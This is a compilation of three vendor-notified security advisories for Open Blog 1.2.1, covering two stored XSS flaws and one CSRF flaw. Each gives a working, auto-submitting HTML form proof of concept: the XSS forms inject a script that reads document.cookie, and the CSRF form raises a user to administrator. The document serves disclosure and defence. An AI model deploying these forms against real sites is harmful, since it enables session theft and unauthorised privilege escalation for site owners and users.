Open Blog version 1.2.1 suffers from cross site request forgery and cross site scripting vulnerabilities.
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Vulnerability ID: HTB22498
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_open_blog_1.html
Product: Open Blog
Vendor: Tomaž Muraus ( http://www.open-blog.info/ )
Vulnerable Version: 1.2.1 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/application/modules/admin/controllers/pages.php" script to properly sanitize user-supplied input in "content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/admin/pages/edit" method="post" >
<input type="hidden" name="title" value="open blog page title" />
<input type="hidden" name="content" value='Some page content and <script>alert(document.cookie)</script>' />
<input type="hidden" name="status" value="active" />
<input type="hidden" name="id" value="1" />
<input type="submit" name="submit" id="sbmtit" value="Edit ››" />
</form>
<script>
document.getElementById('sbmtit').click();
</script>
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Vulnerability ID: HTB22497
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_open_blog.html
Product: Open Blog
Vendor: Tomaž Muraus ( http://www.open-blog.info/ )
Vulnerable Version: 1.2.1 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/application/modules/admin/controllers/posts.php" script to properly sanitize user-supplied input in "excerpt" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/admin/posts/edit" method="post" >
<input type="hidden" name="title" value="Welcome to Open Blog" />
<input type="hidden" name="excerpt" value='Some text"><script>alert(document.cookie)</script>' />
<input type="hidden" name="content" value="" />
<input type="hidden" name="categories[]" value="1" />
<input type="hidden" name="tags" value="openblog" />
<input type="hidden" name="publish_date" value="13/07/2010" />
<input type="hidden" name="status" value="published" />
<input type="hidden" name="id" value="1" />
<input type="submit" name="submit" id="sbmtit" value="Edit ››" />
</form>
<script>
document.getElementById('sbmtit').click();
</script>
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Vulnerability ID: HTB22496
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_open_blog.html
Product: Open Blog
Vendor: Tomaž Muraus ( http://www.open-blog.info/ )
Vulnerable Version: 1.2.1 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
The vulnerability exists due to failure in the "/application/modules/admin/controllers/users.php" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/admin/users/edit" method="post" >
<input type="hidden" name="display_name" value="User" />
<input type="hidden" name="level" value="administrator" />
<input type="hidden" name="email" value="email@example.com" />
<input type="hidden" name="website" value="" />
<input type="hidden" name="msn_messenger" value="" />
<input type="hidden" name="jabber" value="" />
<input type="hidden" name="about_me" value="about_me" />
<input type="hidden" name="id" value="2" />
<input type="submit" name="submit" id="sbmtit" value="Edit ››" />
</form>
<script>
document.getElementById('sbmtit').click();
</script>